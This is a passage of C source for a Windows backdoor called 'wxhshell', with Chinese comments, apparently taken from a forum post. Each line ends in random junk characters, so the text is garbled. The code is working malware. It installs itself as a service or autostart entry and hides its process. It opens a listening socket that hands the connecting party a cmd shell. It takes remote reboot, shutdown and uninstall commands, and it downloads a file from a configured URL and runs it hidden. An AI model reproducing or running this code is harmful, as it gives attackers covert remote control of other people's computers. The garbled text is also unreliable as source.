    break; e,`+6qP{  
  } w/h?, L|  
  // 安装 c6E@+xU  
  case 'i': { SobK<6  
    if(Install()) #E{OOcM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kp xd+w  
    else uH65DI<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M!!W>A@T[g  
    break; JS!rZi  
    } WvUe44&^$  
  // 卸载 *1Nz VV  
  case 'r': { ?G0=\U< o,  
    if(Uninstall()) n8iejdA'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ur?a%]  
    else L$i&>cF\_>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $N+a4  
    break; #RlI([f|&  
    } ran Q_\  
  // 显示 wxhshell 所在路径 ^|>vK,q$I  
  case 'p': { t9Pu:B6  
    char svExeFile[MAX_PATH]; |DwI%%0(F  
    strcpy(svExeFile,"\n\r"); *D*K`dk  
      strcat(svExeFile,ExeFile); k3}ymhUf  
        send(wsh,svExeFile,strlen(svExeFile),0); h+t{z"Ic=  
    break; + [|2k(U  
    } y5BNHweaRb  
  // 重启 &AZr (>  
  case 'b': { :&&Ps4\Sq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7MOjZD4?  
    if(Boot(REBOOT)) ,]y)Dy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); efl6U/'Ij  
    else { "9&6bBa  
    closesocket(wsh); l?pZdAE  
    ExitThread(0); .!l#z|/x  
    } wu/]M~XwI  
    break; Z +(V'e;  
    } [@uL)*o_#  
  // 关机 8`U5/!6fu  
  case 'd': { %fJ*Ql4M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,Hch->?Og  
    if(Boot(SHUTDOWN)) $X WJxQRUv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kbM4v G  
    else { `:}GE@]  
    closesocket(wsh); Ex&f}/F  
    ExitThread(0); kQsyvE  
    } /V$ [M  
    break; =S|SQz5%w  
    } UyEyk$6SU  
  // 获取shell UF|v=|*{#  
  case 's': { & WYIfx{  
    CmdShell(wsh); h<$Vry}  
    closesocket(wsh); kzbgy)PK3  
    ExitThread(0); n/=&?#m}d  
    break; \2L%%M  
  } e7{3:y|]d3  
  // 退出 x5c pv  
  case 'x': { D?) "Z$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =zK7`5  
    CloseIt(wsh); wHx1CXC  
    break; I,_wt+O&j  
    } rPv+eM" >  
  // 离开 q/6d^&  
  case 'q': { /H:'(W_b;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B&0-~o3WP  
    closesocket(wsh); BBnj}XP*4  
    WSACleanup(); (9*=d_=  
    exit(1); di "rvw;R  
    break; g%4-QCZ,  
        } dScit!T"  
  } _o8il3  
  } :eo2t>zF-<  
xzyV| (  
  // 提示信息 "e&S*8QhM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W&A22jO.1  
} ullq}}  
  } }e9E+2}Z\  
fM]zD/ g  
  return; &s_[~g<  
} _W@q%L>  
'%. lY9D  
// shell模块句柄 A%Pjg1(uX  
int CmdShell(SOCKET sock) Z h)Qq?H  
{ R.Ao%VT  
STARTUPINFO si; isLIfE>  
ZeroMemory(&si,sizeof(si)); NJ/6_e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IR;lt 3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?}D@{%O3T  
PROCESS_INFORMATION ProcessInfo; +`r;3kH ..  
char cmdline[]="cmd"; N32!*TsWs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V&-pgxf;  
  return 0; %4Y/-xF}9,  
} l5b? 'L  
Hq?-e?Nc  
// 自身启动模式 )V*Z|,#no  
int StartFromService(void) 7 M=LyrO  
{ c_s=>z  
typedef struct yEJ}!/  
{ L%# #U'e3  
  DWORD ExitStatus; ZxlQyr`~a(  
  DWORD PebBaseAddress; JQP7>W  
  DWORD AffinityMask; |2,u!{  
  DWORD BasePriority; -fI-d1@  
  ULONG UniqueProcessId; V:4]]z L}  
  ULONG InheritedFromUniqueProcessId; t|0Zpp;  
}   PROCESS_BASIC_INFORMATION; 3WZ]9v{k  
'2vZ%C$  
PROCNTQSIP NtQueryInformationProcess; X-|Lg.s  
{9q~bt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $vnshU8/v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .S>:-j'u  
EtjN :p|$  
  HANDLE             hProcess; \Bg;}\8 X  
  PROCESS_BASIC_INFORMATION pbi; *.#d'~+  
cY  ^>`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eGwrSF#a)  
  if(NULL == hInst ) return 0; w[~O@:`]<o  
<t>"b|fW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;HtHN K(o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BUqe~E|I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -.~Dhk  
bnt>j0E  
  if (!NtQueryInformationProcess) return 0; vY&[=2=  
*~~ >?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h W\q  
  if(!hProcess) return 0; J8>y2rAi  
'B ocMjRA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -\O%f)R  
qN% i$mJTo  
  CloseHandle(hProcess); N=]2vyh  
&i179Qg!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x?v/|  
if(hProcess==NULL) return 0; #!(OTe L  
8R<2I1xn2  
HMODULE hMod;  MO|aN,  
char procName[255]; ^}vLZA  
unsigned long cbNeeded; XC"]/ y  
ltRvNXx+]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EUZ#o\6  
^t,sehpR:l  
  CloseHandle(hProcess); SC/|o  
I/:M~ b  
if(strstr(procName,"services")) return 1; // 以服务启动 rvrv[^a(  
4d~Sn81xW  
  return 0; // 注册表启动 @k~'b  
} \@8j&],dl  
 ,U':=8  
// 主模块 Y~@@{zP  
int StartWxhshell(LPSTR lpCmdLine) oRmz'F  
{ yzJ VU0s  
  SOCKET wsl; #Duz|F+%  
BOOL val=TRUE; kH:! 7L_=  
  int port=0; _ T ;+*  
  struct sockaddr_in door; +72[*_ <  
P?D;BAP2  
  if(wscfg.ws_autoins) Install(); }@JPvI E  
8Ac5K!  
port=atoi(lpCmdLine); Ovu!G q  
$}kT )+K  
if(port<=0) port=wscfg.ws_port; GddP)l{uCF  
8~Avg6,  
  WSADATA data; ?VVtEmIN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +*/XfPlr|  
Reci:T(_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6%'bo`S#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c!#DD;<Q  
  door.sin_family = AF_INET; ]7W !  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P,1[NW  
  door.sin_port = htons(port); +JQ/DNv  
aN n\URR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9&(d2  
closesocket(wsl); o \ss  
return 1; 9cV;W\ Tw  
} i4"BN,NZ{  
,D#ssxV  
  if(listen(wsl,2) == INVALID_SOCKET) { ="X2AuK%1$  
closesocket(wsl); ca~nfo  
return 1; ;Ohabbj*  
} q0* e1QL  
  Wxhshell(wsl); jvGGIb"&1  
  WSACleanup(); B[2 qI7D$  
)q xZHV  
return 0; cPQUR^!5  
_; 7{1n  
} oUXi 4lsSc  
lN@SfM4\  
// 以NT服务方式启动 /"$A?}V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6[cC1a3r:  
{ E RnuM  
DWORD   status = 0; 7;]n+QRfm  
  DWORD   specificError = 0xfffffff; 7-p9IFcA  
WKjE^u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; btb$C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Z1@E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j^ y9+W_b  
  serviceStatus.dwWin32ExitCode     = 0; W ='c+3O6  
  serviceStatus.dwServiceSpecificExitCode = 0; V(/ @$&  
  serviceStatus.dwCheckPoint       = 0; xV]eEOiLM  
  serviceStatus.dwWaitHint       = 0; lt:xN?--A?  
iA=QK u!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 99xs5!4s  
  if (hServiceStatusHandle==0) return; 2@&|/O6_\h  
q#}#A@Rg  
status = GetLastError(); fV}:eEo|Y  
  if (status!=NO_ERROR) }cl~Vo-mp  
{ gmFCjs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s"tyCDc.c  
    serviceStatus.dwCheckPoint       = 0; PAYbsn  
    serviceStatus.dwWaitHint       = 0; gG^A6Ol%D  
    serviceStatus.dwWin32ExitCode     = status; HLD8W8  
    serviceStatus.dwServiceSpecificExitCode = specificError; dCbRlW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M|HW$8V3_2  
    return; -> $]`h"  
  } y,D@[*~Xb  
dp&8:jy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %Y0,ww2  
  serviceStatus.dwCheckPoint       = 0; \w;d4r8x  
  serviceStatus.dwWaitHint       = 0; % s|` 1`c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LIm{Y`XU  
} H> zX8qP+  
HUP~  
// 处理NT服务事件,比如:启动、停止 nU^-D1s{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .m r& zq  
{ S-^:p5{r  
switch(fdwControl) :TPT]q d@  
{ QQ*` tmy  
case SERVICE_CONTROL_STOP: t[dOWgHi  
  serviceStatus.dwWin32ExitCode = 0; @ PboT1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eUY/H1  
  serviceStatus.dwCheckPoint   = 0; n5Coxvy1  
  serviceStatus.dwWaitHint     = 0; R]LRgfi9  
  { fN!ci']  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N9 SC\  
  } Wqy\yS [  
  return; <`PW4zSI  
case SERVICE_CONTROL_PAUSE: _m?TEq B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V:YN!  
  break; sf7~hN*  
case SERVICE_CONTROL_CONTINUE: +n'-%?LD&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K@RE-K6{  
  break; '<$!?="  
case SERVICE_CONTROL_INTERROGATE: @k|V4  
  break; Rhfx  
}; WLO4P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /i[1$/*  
} :kQ%Mj>  
bXiOf#:''  
// 标准应用程序主函数 Ro2Ab^rQ|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /s/\5-U7q  
{ EuJ_UxkG  
2#i*'.  
// 获取操作系统版本 6_&uYA<8pE  
OsIsNt=GetOsVer(); *wfb~&: }  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tCF,KP?  
]"wl*$N  
  // 从命令行安装 4qYT  
  if(strpbrk(lpCmdLine,"iI")) Install(); '5usPD  
s7789pR  
  // 下载执行文件 [ Q@rW5,-  
if(wscfg.ws_downexe) { 8kRqF?rbj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G/)]aGr  
  WinExec(wscfg.ws_filenam,SW_HIDE); j%q,]HCANh  
} i&di}x  
[( O*W  
if(!OsIsNt) { (O(X k+L  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dt ~3Qd0  
HideProc(); dlf nhf  
StartWxhshell(lpCmdLine); ~d9@m#_T#~  
} o8ERU($/  
else =>0 G  
  if(StartFromService()) s(?A=JJ  
  // 以服务方式启动 OL2 b  
  StartServiceCtrlDispatcher(DispatchTable); 5ns.||%k  
else Qt~QJJN?oF  
  // 普通方式启动 GV"X) tGo  
  StartWxhshell(lpCmdLine); `pJWZ:3  
j@guB:0  
return 0; LJh^-FQ  
}
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只看该作者 1 发表于: 2006-10-10
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